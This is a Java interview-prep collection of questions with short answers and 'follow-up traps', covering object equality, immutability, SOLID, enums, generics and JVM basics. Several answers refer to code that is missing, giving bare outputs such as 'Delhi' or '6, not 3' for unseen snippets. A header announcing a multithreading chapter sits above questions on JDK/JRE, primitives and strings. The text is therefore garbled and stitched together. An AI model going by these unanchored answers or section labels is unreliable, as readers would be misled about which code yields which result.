`entity.equals(proxy)` returns false because the proxy's class is a generated subclass, so entities may appear missing from Sets or fail `contains`. Use `instanceof` (or `Hibernate.getClass`) and compare a business key or non-null id; keep `hashCode` stable (for example a constant class hash or business key) across persist.

> **FOLLOW-UP TRAPS**
> - **Why not use generated id in hashCode?** It changes from `null` to a value on persist, moving the entity between buckets.

#equals #hibernate #proxies

Q83 **A class has a `public` getter returning an internal `Date`. What can go wrong?** BASIC

`Date` is mutable, so callers can do `getCreated().setTime(0)` and corrupt the object's state. Return a copy or use immutable `Instant` / `LocalDateTime` from `java.time`.

> **FOLLOW-UP TRAPS**
> - **Same problem with arrays and collections?** Yes; return clones/unmodifiable copies.

#encapsulation #immutability

Q84 **What happens when an immutable class leaks `this` in its constructor?** ADVANCED

Another thread may receive the half-constructed object and read `v` as `0`. The JMM's final-field guarantee requires that `this` not escape before the constructor ends. Use a static factory that registers after construction.

FOLLOW-UP TRAPS

- **Is the same true when registering an inner class created in the constructor?** Yes, it holds an implicit `this`.

#immutability #jmm #this-escape

Q85 What does the unmodifiable wrapper actually protect? INTERMEDIATE

`[a, b] [a]`. The wrapper is a read-only view of the live list; `copyOf` is a true immutable snapshot.

FOLLOW-UP TRAPS

- **Does `view.add("c")` work?** It throws `UnsupportedOperationException`.
- **Does `List.of` allow nulls?** No, NPE.

#immutability #collections

Q86 What does shallow clone do here? INTERMEDIATE

`Delhi`. The clone shares the same `Addr` instance. Fix by cloning `addr` in `clone()`, or use a copy constructor.

FOLLOW-UP TRAPS

- **Does `super.clone()` call the constructor?** No, which is why final-field and invariant logic can be bypassed.

#clone #shallow-copy

Q87 What happens when a class extends a class with a clone-unfriendly final field? ADVANCED

A `final` mutable field copied by `super.clone()` can't be reassigned in `clone()` to deep-copy it (outside reflection), so cloneable designs conflict with `final`. This is another reason to prefer copy constructors or factories.

FOLLOW-UP TRAPS

- **Alternative?** `record` with a `withX` method, or a builder `toBuilder()`.

#clone #final

Q88 Design: you have `class Stack extends ArrayList`. Why is this risky? INTERMEDIATE

It exposes `add(index, e)`, `remove`, and `get` which break stack semantics, and ties the API to `ArrayList` forever. Use composition: a `Stack` class with a private `Deque<E>` and only `push`, `pop`, `peek`. (This is the very mistake made in `java.util.Stack extends Vector`.)

FOLLOW-UP TRAPS

- **What should you use in production for a stack?** `ArrayDeque`, not `java.util.Stack`.

#composition #inheritance #encapsulation

Q89 Counting wrapper over `HashSet` gives wrong results. Why? INTERMEDIATE

`6`, not `3`. `HashSet.addAll` (from `AbstractCollection`) calls `add` for each element, so each is counted twice. Fix with composition and a forwarding class.

FOLLOW-UP TRAPS

- **If you drop the `addAll` override?** It works today, but silently breaks if the JDK changes the implementation: fragile base class.

#inheritance #fragile-base-class

Q90 **Which SOLID principle does this violate, and how do you refactor?** INTERMEDIATE

Open/Closed: every new customer type edits this method. Refactor to a `PricingStrategy` interface with one implementation per type, or put a `discount()` on the enum, and select by map lookup. Trade-off: more classes; for 3 stable types an enum with a method is enough.

> **FOLLOW-UP TRAPS**
> - **Is every `if` chain an OCP violation?** No; only when the set of cases changes often.

#solid #ocp #strategy

Q91 **A `ReportService` fetches data, formats CSV, and emails it. What's the issue and fix?** BASIC

Single Responsibility: three reasons to change (data query, format, delivery). Split into `ReportRepository`, `CsvFormatter`, `Mailer`, and keep `ReportService` as orchestration. Each part can be unit-tested and replaced independently.

> **FOLLOW-UP TRAPS**
> - **Can SRP be over-applied?** Yes; one class per method makes code hard to follow. A "reason to change" is about actors, not methods.

#solid #srp

Q92 **An interface `Repository` has `save`, `delete`, `findAll`, `export`. A read-only client implements it. What's wrong?** INTERMEDIATE

Interface Segregation: the client is forced to implement `save` / `delete` (throwing `UnsupportedOperationException`), which also violates LSP. Split into `ReadRepository` and `WriteRepository` and compose them where both are needed (Spring Data does this with `Repository`, `CrudRepository` and `ListCrudRepository`).

> **FOLLOW-UP TRAPS**
> - **Can default methods hide ISP problems?** Yes, they make fat interfaces cheap to implement but don't fix coupling.

#solid #isp

Q93 **A high-level `CheckoutService` does `new StripeClient()`. How do you apply DIP?** BASIC

Define `PaymentGateway` in the domain, make `StripeGateway implements PaymentGateway`, and inject via constructor. Tests then use a fake; switching providers touches only configuration.

```
@Service
class CheckoutService {
    private final PaymentGateway gateway;
    CheckoutService(PaymentGateway gateway) { this.gateway = gateway; }
}
```

> **FOLLOW-UP TRAPS**
> - **Two implementations on the classpath?** Spring fails with `NoUniqueBeanDefinitionException` unless `@Primary` or `@Qualifier` is used.

#solid #dip #spring

Q94 **Does `Square extends Rectangle` with coupled setters pass this test?** INTERMEDIATE

No. For a `Square`, `setHeight(5)` also changes width, so area is 25. The subtype changes behaviour callers rely on (postconditions). Model both as immutable shapes implementing a `Shape` interface with `area()`.

FOLLOW-UP TRAPS

- **Does immutability resolve it?** Largely, since there are no setters whose contract differs.

#lsp #solid

Q95 What does this inner class code print and what is the leak? INTERMEDIATE

`7`. `Inner` keeps a hidden `Outer.this`, so the `Outer` instance stays reachable while `i` lives. Declare `Inner` as `static` and pass what it needs if the lifetimes differ.

FOLLOW-UP TRAPS

- **How do you see the hidden field?** `this$0` in the decompiled/ `javap -p` output.

#inner-class #memory

Q96 What does this local-variable capture produce? BASIC

Compile error: local variables referenced from a lambda (or local/anonymous class) must be final or effectively final. Use `AtomicInteger`, or a one-element array only if single-threaded and justified.

FOLLOW-UP TRAPS

- **Why this rule?** Captured values are copied; mutation would diverge between copies and, across threads, raise visibility problems.
- **Can lambdas modify instance fields?** Yes.

#lambda #local-class

Q97 What does `this` refer to inside an anonymous class vs a lambda? INTERMEDIATE

`a.run()` prints `anon`, `l.run()` prints `outer`. In a lambda `this` is the enclosing instance; in an anonymous class it is the anonymous instance.

FOLLOW-UP TRAPS

- **How to reach outer from the anonymous class?** `T.this.n`.

#anonymous-class #lambda

Q98 What happens when you call `ordinal()` for persistence, then reorder the enum? INTERMEDIATE

Existing rows keep integers (`1`) that now map to different constants: silent data corruption (`PAID` rows become `SHIPPED`). Use `@Enumerated(EnumType.STRING)` or an `AttributeConverter` with stable codes, and never reorder or delete constants for `ORDINAL` mappings.

FOLLOW-UP TRAPS

- **Downside of `STRING`?** Renaming a constant breaks old rows; also uses more space.
- **Hibernate 6 enum default?** Still `ORDINAL` unless specified (6.x also supports native enum columns on some DBs).

#enum #jpa

Q99 What does this enum print? ADVANCED

`5 class Op$2 class Op`. Constants with bodies are anonymous subclasses, so `getClass()` differs from `getDeclaringClass()`; use the latter for `EnumMap`-style logic.

FOLLOW-UP TRAPS

- **Why does `Op.MUL.getClass() == Op.class` fail?** Because of the anonymous subclass.

#enum #class-bodies

Q100 Can you extend an enum or create an instance with `new`? BASIC

No to both. Constructors are implicitly private and the enum is implicitly `final` (or sealed when a constant has a body). Reflection `Constructor.newInstance` throws `IllegalArgumentException: Cannot reflectively create enum objects`.

> **FOLLOW-UP TRAPS**
> - **How do you add behaviour to an enum from outside?** Make it implement an interface or use a `Map<EnumType, Handler>`.

#enum #compile-error

Q101 What are the results of calling `Enum.valueOf` with bad input? BASIC

Throws `IllegalArgumentException: No enum constant Status.paid`; it is case-sensitive, and `null` yields NPE. For user input, write a lookup with `Optional` or a static map.

> **FOLLOW-UP TRAPS**
> - **Does it trim whitespace?** No.

#enum #exceptions

Q102 What does `toString()` on this object print, and how is the hash chosen? BASIC

Something like `Plain@1b6d3586`: class name, `@`, and hex `hashCode()`. Never parse or rely on the value; it differs between runs.

> **FOLLOW-UP TRAPS**
> - **Does `hashCode()` equal the memory address?** Not guaranteed; HotSpot generates and stores an identity hash in the header lazily.

#object #tostring

Q103 Which collection behaves wrongly with this `compareTo`? INTERMEDIATE

`1`. `TreeSet` uses `compareTo`, not `equals`, so versions 1.0 and 1.5 are duplicates. Compare all significant fields: `Comparator.comparingInt((Ver v) -> v.major).thenComparingInt(v -> v.minor)`.

> **FOLLOW-UP TRAPS**
> - **What does a `HashSet` do with the same class?** Depends on `hashCode` / `equals`, giving size `2`.

#comparable #treeset

Q104 What does a constructor's call to an abstract method hazard look like in template classes? ADVANCED

`NullPointerException`: `register()` runs from the `Handler` constructor before `Mail`'s field initialiser has created `sinks`. Do registration in an explicit `init()` after construction or via a factory.

> **FOLLOW-UP TRAPS**
> - **Would a `final` field help?** No; blank finals are still unassigned at that point and `sinks` is `null` when read.

#init-order #abstract-class

Q105 What does an interface constant "override" print? BASIC

The assignment is a compile error: interface fields are implicitly `public static final`. Using the constant interface anti-pattern pollutes implementors' namespace; place constants in a final utility class or an enum.

FOLLOW-UP TRAPS

- **Can `Impl` define its own `LIMIT`?** Yes, it hides the interface field.

#interface #constants

Q106 **A method takes `protected` access across packages. Does this compile?** ADVANCED

`other.touch()` fails to compile; `s.touch()` and `touch()` work. Outside the package, protected access is only allowed through a reference of the subclass type (or its subtypes), not through a parent-typed reference.

FOLLOW-UP TRAPS

- **Would it compile if `Sub` were in package `a`?** Yes, protected includes package access.

#access-modifiers #protected

Q107 **Interface evolution: you add a new abstract method to a published interface. What breaks and how do you avoid it?** INTERMEDIATE

All implementors in other codebases stop compiling and fail at runtime with `AbstractMethodError` when binary-compatible code calls it. Add it as a `default` method with a safe implementation (how `Collection.removeIf`, `List.sort` and `Map.getOrDefault` were added in Java 8). Trade-off: defaults can't use instance state, so choose a sensible behaviour.

FOLLOW-UP TRAPS

- **Can a default method break existing implementors?** Yes, if a class already has a method with the same name but a weaker access or an incompatible return type.

#interface #default-methods #compatibility

Q108 **What happens at runtime in this pattern-matching switch when a new record implements the sealed interface but the caller isn't recompiled?** ADVANCED

The old bytecode's exhaustive switch has no branch for the new subtype, so it throws `MatchException` at runtime (Java 21; earlier previews threw `IncompatibleClassChangeError`). Rebuild dependents when you change a sealed hierarchy, or keep a defensive `default` at module boundaries.

FOLLOW-UP TRAPS

- **Does an `enum` switch behave similarly?** Switch expressions over enums throw `MatchException` / `IncompatibleClassChangeError` for an unknown constant when no `default` exists.

#sealed #switch #compatibility

Q109 **Compare `Optional` returned from an overridden method versus `null`. What does a covariant `Optional<Dog>` do?** ADVANCED

Compile error: `Optional<Dog>` is not a subtype of `Optional<Animal>` due to invariance, so it's not a valid covariant return. Declare the parent as `Optional<? extends Animal>` and the child as `Optional<Dog>`.

FOLLOW-UP TRAPS

- **Does `Optional<? extends Animal>` hurt callers?** They can read `Animal` from it; they never need to add to it.

#covariant #generics

Q110 **A generic method signature `<T extends Comparable<T>> T max(List<T> l)` is called with `List<java.sql.Timestamp>`. What happens?** ADVANCED

Compile error: `Timestamp implements Comparable<java.util.Date>`, not `Comparable<Timestamp>`, so `T` fails the bound. The fix is `<T extends Comparable<? super T>>`, the idiom used by `Collections.max`.

FOLLOW-UP TRAPS

- **What does `? super T` allow?** `T` can inherit its `Comparable` from a superclass.

#generics #bounds

CORE JAVA · CHAPTER 3

Multithreading & Concurrency

Thread lifecycle, synchronization, the Java Memory Model, locks, atomics, executors, CompletableFuture, concurrent collections, virtual threads and classic race-condition scenarios.

104 questions **44** basic **45** intermediate **15** advanced

Core language and runtime fundamentals that interviewers use to check whether a candidate understands what the JVM actually does. Baseline is Java 17/21 with Java 8 differences called out.

Theory

Q1 What is the difference between JDK, JRE and JVM? BASIC

The **JVM** executes bytecode, the **JRE** = JVM + core libraries, and the **JDK** = JRE + developer tools (`javac`, `jar`, `jlink`, `jshell`).

- JVM: class loading, bytecode verification, interpretation + JIT compilation, garbage collection.
- Since Java 11 there is no separate JRE download; use the JDK, or build a trimmed runtime with `jlink`.

FOLLOW-UP TRAPS

- **Is the JVM platform independent?** No. Bytecode is portable; each OS needs its own JVM implementation.
- **Is Java purely interpreted?** No. HotSpot interprets first, then JIT-compiles hot methods (C1/C2).

#jvm #jdk

Q2 Is Java pass-by-value or pass-by-reference? BASIC

Always **pass-by-value**. For objects, the value copied is the *reference*, so a method can mutate the object but cannot make the caller's variable point elsewhere.

```
static void change(StringBuilder sb, String s) {
    sb.append("!");   // visible to caller
    sb = new StringBuilder("new"); // not visible
    s = s + "?";      // not visible, Strings are immutable
}
```

FOLLOW-UP TRAPS

- **What does the caller see after `change(sb, s)` with `sb="a"`, `s="b"`?** `sb` is `"a!"`, `s` is `"b"`.

#methods #references

Q3 What are the main components of the JVM architecture? BASIC

Class loader subsystem, runtime data areas, execution engine, and native interface.

- Class loader subsystem: loads, links and initializes classes.
- Runtime data areas: heap, per-thread stacks, program counter registers, native method stacks, metaspace (method area).
- Execution engine: bytecode interpreter, JIT compilers, garbage collector.
- JNI connects Java code to native libraries.

FOLLOW-UP TRAPS

- **Which areas are shared between threads?** Heap and metaspace. Stacks and PC registers are per-thread.
- **Is the JVM specification the same as HotSpot?** No. The spec defines behaviour; HotSpot, OpenJ9 and GraalVM are implementations.

#jvm #architecture

Q4 What are the phases of class loading? INTERMEDIATE

Loading, linking (verification, preparation, resolution) and initialization.

- Loading: read the `.class` bytes and create a `Class` object.
- Verification: check bytecode structure and type safety.
- Preparation: allocate static fields and set them to default values (`0`, `null`, `false`).
- Resolution: replace symbolic references with direct ones (may be lazy).
- Initialization: run static initializers and assign static field initializer values, in textual order.

FOLLOW-UP TRAPS

- **What value does a static field have during preparation?** The type default, not the declared initializer; the initializer runs in the initialization phase.
- **When is a class initialized?** On first `new`, static method call, non-constant static field access, or `Class.forName` with initialization. Compile-time constants (`static final int X = 5`) do not trigger it.

#class-loading #jvm

Q5 Explain the class loader hierarchy and the delegation model. INTERMEDIATE

Loaders delegate to their parent first; a child loads a class only if every ancestor failed. This prevents user code from replacing core classes like `java.lang.String`.

- Bootstrap loader: core `java.base` classes, written in native code (`getClassLoader()` returns `null`).
- Platform loader (extension loader before Java 9): other JDK modules.
- Application (system) loader: classpath/module path.

FOLLOW-UP TRAPS

- **Who breaks parent-first delegation?** Servlet containers (webapp loaders look locally first), OSGi, and some plugin frameworks.
- **Can two loaders load the same class name?** Yes, and the results are different runtime types; casting between them throws `ClassCastException`.

#class-loading #classloader

Q6 What are the JVM runtime memory areas? BASIC

Heap (objects), thread stacks (frames with locals and operand stack), metaspace (class metadata), PC registers, native stacks, plus off-heap memory such as direct buffers and the code cache.

- Heap and metaspace are shared; stacks are per-thread.
- Total process memory = heap + metaspace + thread stacks + code cache + direct memory + GC overhead.

FOLLOW-UP TRAPS

- **Does `-Xmx` cap the whole process?** No, only the heap. Native memory is additional.
- **Where do local variables live?** Primitives and references live in the stack frame; the objects they reference live on the heap.

#memory #jvm

Q7 How is the heap organized in generational collectors? INTERMEDIATE

Young generation (Eden + two survivor spaces) and old generation. New objects go to Eden; survivors of minor GCs are copied between survivor spaces and promoted to old after reaching a tenuring threshold.

- Based on the weak generational hypothesis: most objects die young.
- G1 uses equal-sized regions that play the eden/survivor/old roles dynamically.

FOLLOW-UP TRAPS

- **Where do huge objects go?** Large arrays can be allocated directly in old gen (G1: humongous regions).
- **Is there still a permanent generation?** No, removed in Java 8.

#heap #gc

Q8 What does the thread stack contain, and what is a stack frame? BASIC

Each method call pushes a frame holding local variables, an operand stack and a reference to the constant pool. The frame is popped on return or exception unwinding.

- Size is set with `-Xss` (default typically 1 MB on 64-bit Linux).
- Too-deep recursion causes `StackOverflowError`.

FOLLOW-UP TRAPS

- **Does a larger `-Xss` always help?** It only delays overflow and multiplies memory cost by thread count.
- **Are objects ever allocated on the stack?** Not by language semantics; escape analysis may scalar-replace them, which is an optimization.

#stack #memory

Q9 What is Metaspace and how does it differ from PermGen? INTERMEDIATE

Metaspace stores class metadata in native memory and replaced PermGen in Java 8. It grows dynamically instead of having a fixed size inside the Java heap.

- Limit it with `-XX:MaxMetaspaceSize`; unlimited by default.
- Metadata is freed when the defining class loader becomes unreachable.
- Interned strings and static field values moved to the heap (Java 7/8).

FOLLOW-UP TRAPS

- **What causes `OutOfMemoryError: Metaspace`?** Class loader leaks, excessive dynamic class generation (proxies, bytecode libraries), or a too-low max.
- **Is Metaspace part of the heap?** No, it is native memory.

#metaspace #memory

Q10 List the primitive types, their sizes and default values. BASIC

`byte` 8-bit, `short` 16, `int` 32, `long` 64, `float` 32, `double` 64, `char` 16 (unsigned), `boolean` (JVM-dependent size, one bit of information).

- Fields default to `0`, `0.0`, `'\u0000'`, `false`; references default to `null`.
- Local variables have no default and must be definitely assigned before use.

FOLLOW-UP TRAPS

- **Is `char` signed?** No, it is the only unsigned integral type, range 0..65535.
- **Does `int` size vary by platform?** No, sizes are fixed by the language spec.

#data-types #primitives

Q11 How do autoboxing and unboxing work? BASIC

The compiler inserts `Integer.valueOf(int)` for boxing and `intValue()` for unboxing. No magic at runtime, just generated calls.

- `Integer`, `Long`, `Short`, `Byte`, `Character` (0..127) cache small values; `Boolean` has two constants.
- `Float` and `Double` have no cache.

FOLLOW-UP TRAPS

- **What if the wrapper is `null` when unboxed?** `NullPointerException`.
- **Why is boxing in tight loops slow?** Each boxed value may allocate an object and adds GC pressure; prefer primitive streams or arrays.

#autoboxing #wrapper-classes

Q12 What is the difference between widening and narrowing conversions? BASIC

Widening (`int` to `long`) is implicit and safe in range; narrowing (`long` to `int`) needs an explicit cast and can lose data via truncation of high bits.

- `int` to `float` and `long` to `double` are widening but can lose precision.
- Compound assignment (`+=`) includes an implicit narrowing cast.

FOLLOW-UP TRAPS

- **Does `byte b = 10;` compile without a cast?** Yes, constant expressions that fit the target type are allowed.
- **What is `(byte) 200`?** `-56`, the low 8 bits reinterpreted as signed.

#casting #data-types

Q13 Why should you not use `float` / `double` for money? BASIC

Binary floating point cannot represent most decimal fractions exactly (`0.1`), so errors accumulate. Use `BigDecimal` (constructed from a `String`) or integer minor units.

- IEEE 754: 1 sign bit, exponent, mantissa.
- `BigDecimal` needs an explicit `RoundingMode` for non-terminating divisions.

FOLLOW-UP TRAPS

- **What does `new BigDecimal(0.1)` hold?** The exact binary value of the double, `0.1000000000000000055...`; use `BigDecimal.valueOf(0.1)` or a string.
- **Does `BigDecimal.equals` ignore scale?** No. `2.0` and `2.00` are not equal; use `compareTo`.

#floating-point #bigdecimal

Q14 How does `char` relate to Unicode and integer arithmetic? INTERMEDIATE

`char` is a 16-bit UTF-16 code unit, and arithmetic on it promotes to `int`. Characters outside the BMP take two `char`s (a surrogate pair).

- Use `String.codePoints()` or `codePointAt` for real characters.
- `'a' + 1` is the `int` 98; `(char) ('a' + 1)` is `'b'`.

FOLLOW-UP TRAPS

- **What does `"😀".length()` return?** `2`, since it is two UTF-16 units.
- **Does `c++` on a `char` compile?** Yes, compound/increment operators include the narrowing cast.

#char #unicode

Q15 Why are Strings immutable and what is the string pool? BASIC

`String` is final with a private final value array, which makes it thread-safe, cacheable by hash and safe as a map key. Literals are interned into a pool on the heap so identical literals share one instance.

- Immutability enables the pool, hash caching and security (class names, paths).
- Since Java 9 strings use compact Latin-1/UTF-16 byte arrays.

> **FOLLOW-UP TRAPS**
> - **Is the string pool in PermGen?** It was before Java 7; since Java 7 it is on the heap.
> - **Does `new String("a")` create one object?** It creates a new heap object; the literal `"a"` is in the pool separately.

#string #string-pool

Q16 Compare `String`, `StringBuilder` and `StringBuffer`. BASIC

`String` is immutable; `StringBuilder` is a mutable, unsynchronized builder; `StringBuffer` is the synchronized legacy version.

- Use `StringBuilder` for loops that append; `+` in a loop creates a builder per iteration.
- Java 9+ compiles `+` using `invokedynamic` (`StringConcatFactory`).

> **FOLLOW-UP TRAPS**
> - **Is `StringBuffer` useful for thread-safe building?** Rarely; each call is synchronized but compound operations are not atomic.
> - **Is `+` always slower than `StringBuilder`?** No, a single expression is optimized equally; only loops hurt.

#string #stringbuilder

Q17 What is the difference between `==` and `equals`? BASIC

`==` compares primitives by value and references by identity; `equals` compares logical content if overridden. The default `Object.equals` is identity.

> **FOLLOW-UP TRAPS**
> - **Why compare strings with `equals`?** Strings built at runtime are different objects even with equal content.
> - **Is `==` between `Integer` and `int` identity?** No, the `Integer` is unboxed and values compared.

#equality #object

Q18 What is short-circuit evaluation? BASIC

`&&` and `||` skip evaluating the right operand when the left already decides the result. `&` and `|` on booleans always evaluate both sides.

```
if (s != null && s.length() > 3) { /* safe */ }
```

> **FOLLOW-UP TRAPS**
> - **What does `s != null & s.length() > 3` do for null `s`?** Throws `NullPointerException`, since both operands evaluate.
> - **Does `?:` evaluate both branches?** No, only the chosen one.

#operators #logical

Q19 How do pre- and post-increment differ? BASIC

`++i` increments then yields the new value; `i++` yields the old value then increments. As standalone statements they are equivalent.

FOLLOW-UP TRAPS

- **Is `i++` atomic?** No, it is read-modify-write; even for `volatile` fields.
- **What does `i = i++` leave in `i`?** The original value, because the old value is assigned back after the increment.

#operators #increment

Q20 What happens on integer overflow in Java? INTERMEDIATE

It wraps silently in two's complement; no exception. `Integer.MAX_VALUE + 1` equals `Integer.MIN_VALUE`.

- Use `Math.addExact`, `multiplyExact`, `toIntExact` to throw `ArithmeticException`.
- Floating point overflows to `Infinity` instead.

FOLLOW-UP TRAPS

- **What is `Math.abs(Integer.MIN_VALUE)`?** `Integer.MIN_VALUE` (still negative), since +2^31 does not fit.
- **What about integer division by zero?** `ArithmeticException`; for doubles it gives `Infinity` or `NaN`.

#overflow #arithmetic

Q21 Explain `<<`, `>>` and `>>>`. INTERMEDIATE

`<<` shifts left filling zeros, `>>` is an arithmetic shift that preserves the sign bit, and `>>>` is a logical shift that fills with zeros.

- The shift distance is masked: `int` uses the low 5 bits, `long` the low 6 bits.
- `x >> 1` equals floor division by 2; `-7 >> 1` is `-4`, while `-7 / 2` is `-3`.

FOLLOW-UP TRAPS

- **What is `1 << 32` for an `int`?** `1`, because the distance is `32 & 31 = 0`.
- **What is `-1 >>> 1` for an `int`?** `2147483647`.

#bitwise #operators

Q22 How does the ternary operator determine its result type? ADVANCED

If both operands are numeric, binary numeric promotion applies; if one is a boxed type and the other a primitive, the result is unboxed. So `true ? 1 : 2.0` yields `1.0`.

- Mixed `Integer` / `int` with a `null` operand can cause an unboxing NPE.
- With two references the result is the lub (least upper bound) type.

FOLLOW-UP TRAPS

- **What does `Object o = true ? 1 : "x";` give?** An `Integer` 1; there is no numeric promotion with a `String`.
- **What does `flag ? (Integer) null : 0` do?** NPE: the `0` makes it an `int` expression, so the null unboxes.

#operators #ternary #promotion

Q23 How does the classic `switch` statement behave, including fall-through? BASIC

Execution jumps to the matching `case` and continues through subsequent cases until a `break` or the end. `default` can appear anywhere.

- Supported selector types: `byte`, `short`, `char`, `int`, their wrappers, `enum`, `String` (Java 7), and patterns (Java 21).

FOLLOW-UP TRAPS

- **Can a `case` label be a variable?** Only a compile-time constant (`final` with constant initializer).
- **What if the selector is a null `String`?** NPE in a classic switch.

#switch #control-flow

Q24 What are switch expressions and what do they improve? INTERMEDIATE

Since Java 14 `switch` can be an expression that produces a value, uses `->` arms without fall-through, and must be exhaustive.

```
int days = switch (month) {
    case FEB -> 28;
    case APR, JUN, SEP, NOV -> 30;
    default -> { int d = 31; yield d; }
};
```

- Over an enum or sealed type exhaustiveness is checked without `default`.
- Java 21 adds pattern matching and `case null`.

FOLLOW-UP TRAPS

- **Can you mix `->` and `:` labels?** No, a single switch uses one form.
- **What happens to a missing enum constant at runtime?** For switches without `default` over enums the compiler inserts a `MatchException` (Java 21) / `IncompatibleClassChangeError` path.

#switch #java14

Q25 How does the enhanced for loop work, and what are its limits? BASIC

For arrays it compiles to an index loop; for `Iterable` it uses `iterator()`. You cannot see the index or remove elements safely.

FOLLOW-UP TRAPS

- **Why `ConcurrentModificationException` when removing in for-each?** The list's `modCount` changes and the iterator detects it; use `Iterator.remove()` or `removeIf`.
- **Does reassigning the loop variable change the collection?** No, it is a local copy of the element reference.

#loops #iterator

Q26 How do labeled `break` and `continue` work? INTERMEDIATE

A label names an enclosing statement; `break label` exits it and `continue label` jumps to the next iteration of that labeled loop. It is structured, not a `goto`.

```
outer:
for (int i = 0; i < 3; i++)
    for (int j = 0; j < 3; j++) {
        if (j == 1) continue outer;
        if (i == 2) break outer;
    }
```

FOLLOW-UP TRAPS

- **Can you label any statement?** Yes, including blocks, but `continue` targets only loops.
- **Is `goto` usable?** It is a reserved but unused keyword.

#control-flow #labels

Q27 What does the `static` keyword mean for fields, methods, blocks and nested classes? BASIC

`static` members belong to the class, not to instances; they exist once per class loader and are initialized when the class is initialized.

- Static methods cannot access instance members directly and have no `this`.
- A static nested class has no implicit reference to an outer instance, unlike an inner class.

FOLLOW-UP TRAPS

- **Can static methods be overridden?** No, they are hidden; resolution uses the declared type.
- **Is a static field unique per JVM?** Per class loader, not per JVM.

#static #oop

Q28 What are static and instance initializer blocks, and when do they run? INTERMEDIATE

A `static {}` block runs once during class initialization; an instance `{}` block runs on every construction, before the constructor body (after `super()`).

- Both run in textual order together with field initializers.
- Instance initializers are rarely useful; constructors or field initializers are clearer.

FOLLOW-UP TRAPS

- **Can a static initializer throw a checked exception?** No, it must not complete abruptly with one; unchecked ones become `ExceptionInInitializerError`.
- **Can an instance initializer run without a constructor call?** No; the compiler copies it into every constructor that calls `super`.

#initialization #static

Q29 What does `final` mean on variables, methods and classes? BASIC

A final variable can be assigned once, a final method cannot be overridden, and a final class cannot be extended.

- A blank final field must be assigned in every constructor or initializer.
- Final fields get special safe-publication guarantees in the Java Memory Model.

FOLLOW-UP TRAPS

- **Is a final parameter allowed?** Yes, it just prevents reassignment inside the method.
- **Does `final` make a method faster?** Not meaningfully; the JIT devirtualizes by class hierarchy analysis anyway.

#final #oop

Q30 Does `final` make an object immutable? BASIC

No. `final` fixes the reference, not the object's state; `final List<String> l` can still have elements added.

- True immutability: final class, private final fields, no setters, defensive copies in and out.
- `List.of`, `Map.of` and records (shallowly) support this style.

FOLLOW-UP TRAPS

- **Does `Collections.unmodifiableList` copy?** No, it is a read-only view; changes to the backing list show through.
- **Is `String` deeply immutable?** Its state cannot change, but reflection and `Unsafe` can bypass that; the language contract holds.

#final #immutability

Q31 What does the `transient` keyword do? BASIC

`transient` excludes a field from default Java serialization; on deserialization it gets the type default (`null`, `0`, `false`).

- Used for derived data, caches, and secrets such as passwords.
- Does not apply to `static` fields, which are never serialized anyway.
- JSON libraries such as Jackson ignore `transient` unless configured; JPA treats it as non-persistent.

FOLLOW-UP TRAPS

- **Are field initializers rerun on deserialization?** No, constructors of Serializable classes are not called; restore state in `readObject` or `readResolve`.
- **Does the first non-serializable superclass get its constructor called?** Yes, its no-arg constructor.

#transient #serialization

Q32 What does `volatile` guarantee? INTERMEDIATE

Visibility and ordering: a write to a volatile variable happens-before every subsequent read of it, and reads/writes are not reordered across it. It does not provide atomicity for compound actions.

- Good for flags and safe publication of immutable objects.
- `long` and `double` volatile reads/writes are atomic (non-volatile may tear on 32-bit JVMs per spec).

FOLLOW-UP TRAPS

- **Is `volatile int count; count++` thread-safe?** No, use `AtomicInteger` or a lock.
- **Does volatile on an array make elements volatile?** No, only the reference.

#volatile #jmm

Q33 What does "effectively final" mean and why do lambdas need it? INTERMEDIATE

A local variable is effectively final if it is never reassigned after initialization. Lambdas and inner classes capture the *value*, so captured locals must not change.

FOLLOW-UP TRAPS

- **How do you mutate a captured counter?** Use a field, an `AtomicInteger`, or a one-element array; the reference stays effectively final.
- **Do captured fields have the same limit?** No, lambdas capture `this` and can mutate fields freely.

#lambda #final

Q34 What is the object initialization order? INTERMEDIATE

Class init: superclass static initializers, then subclass static, once. For each instance: superclass instance initializers and constructor body, then subclass instance initializers and constructor body.

- Within one class, static fields/blocks and instance fields/blocks run in textual order.
- Fields not yet initialized hold defaults, which is why calling an overridable method from a constructor is dangerous.

FOLLOW-UP TRAPS

- **What does a subclass method see in a field when called from the super constructor?** The default value (`0` / `null`), as the subclass field initializers have not run.
- **Are static blocks rerun for every `new`?** No, only on first class initialization.

#initialization #constructors

Q35 How do constructors, `this(...)` and `super(...)` chain? BASIC

Every constructor starts with `this(...)` or `super(...)`, explicit or implicit (`super()`). The call must be the first statement (Java 22 preview relaxes this for code that does not reference `this`).

- If a class declares any constructor, the compiler does not add the default one.
- If the superclass lacks a no-arg constructor, the subclass must call another explicitly.

FOLLOW-UP TRAPS

- **Can a constructor call both `this()` and `super()`?** No, only one; `this()` delegates and eventually reaches `super`.
- **Can constructors be inherited or `final`?** Neither; constructors are not members.

#constructors #oop

Q36 How does `var` (local variable type inference) work? BASIC

`var` lets the compiler infer the type of a local variable from its initializer (Java 10). The type is still static and fixed; `var` is not dynamic typing.

- Allowed: locals, for-loop variables, lambda parameters (Java 11).
- Not allowed: fields, method parameters/returns, no initializer, `null` initializer, array initializer `{1,2}`.
- `var` is a reserved type name, not a keyword; `var var = 1;` compiles.

FOLLOW-UP TRAPS

- **What is the type of `var list = new ArrayList<>();`?** `ArrayList<Object>`.
- **Does `var` hurt readability?** It can when the initializer does not reveal the type; use it when the right side is obvious.

#var #java10

Q37 What are records and what does the compiler generate? INTERMEDIATE

A record is a transparent, shallowly immutable data carrier (Java 16). The compiler generates private final fields, a canonical constructor, accessors (`name()`, not `getName()`), `equals`, `hashCode` and `toString`.

```
record Point(int x, int y) {
    Point {                        // compact constructor
        if (x < 0) throw new IllegalArgumentException();
    }
}
```

- Records are implicitly final, cannot extend classes, but can implement interfaces and have static members.
- No instance fields beyond the components.

FOLLOW-UP TRAPS

- **Is a record deeply immutable?** No, a `List` component can still be mutated; copy defensively in the compact constructor.
- **Can records be JPA entities?** No (final, no no-arg constructor); they work well for DTOs and projections.

#records #java16

Q38 What are text blocks? BASIC

Multi-line string literals delimited by `"""` (Java 15). Incidental indentation is stripped based on the least-indented line (including the closing delimiter), and trailing spaces are removed.

```
String json = """
    {"name": "A"}
    """;
```

- Line endings are normalized to `\n`.
- `\` at line end suppresses the newline; `\s` keeps a trailing space.

FOLLOW-UP TRAPS

- **Does the closing `"""` position matter?** Yes: placing it on its own line adds a trailing newline and affects indentation stripping.
- **Is a text block a different type?** No, it is a regular `String` (and is interned like any literal).

